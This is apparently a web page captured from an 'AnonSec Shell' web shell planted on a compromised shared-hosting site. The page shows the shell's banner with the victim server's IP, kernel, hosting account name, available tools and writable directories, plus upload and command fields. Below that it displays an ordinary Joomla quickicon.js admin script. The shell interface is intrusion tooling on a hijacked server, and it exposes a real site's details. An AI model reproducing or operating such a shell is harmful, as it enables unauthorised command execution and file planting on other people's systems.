AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.94
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/previous-website/06/media/mod_quickicon/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/previous-website/06/media/mod_quickicon/js/quickicon.js
/**
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
/**
 * Every quickicon with an ajax request url loads data and set them into the counter element
 * Also the data name is set as singular or plural.
 * A SR-only text is added
 * The class pulse gets 'warning', 'success' or 'error', depending on the retrieved data.
 */
if (!Joomla) {
  throw new Error('Joomla API was not properly initialized');
}
Array.from(document.querySelectorAll('.quickicon')).forEach(quickicon => {
  const counter = quickicon.querySelector('.quickicon-amount');
  if (!counter) {
    return;
  }
  if (counter.dataset.url) {
    Joomla.request({
      url: counter.dataset.url,
      method: 'GET',
      onSuccess: resp => {
        let response;
        try {
          response = JSON.parse(resp);
        } catch (error) {
          quickicon.classList.add('error');
        }
        if (Object.prototype.hasOwnProperty.call(response, 'data')) {
          const name = quickicon.querySelector('.quickicon-name');
          const nameSpan = document.createElement('span');
          quickicon.classList.add(response.data > 0 ? 'warning' : 'success');

          // Set name in singular or plural
          if (response.data.name && name) {
            nameSpan.textContent = response.data.name;
            name.replaceChild(nameSpan, name.firstChild);
          }

          // Set amount of number into counter span
          counter.textContent = `\u200E${response.data.amount}`;

          // Insert screenreader text
          const sronly = quickicon.querySelector('.quickicon-sr-desc');
          if (response.data.sronly && sronly) {
            sronly.textContent = response.data.sronly;
          }
        } else {
          quickicon.classList.add('error');
        }
      },
      onError: () => {
        quickicon.classList.add('error');
      }
    });
  }
});

Anon7 - 2022
AnonSec Team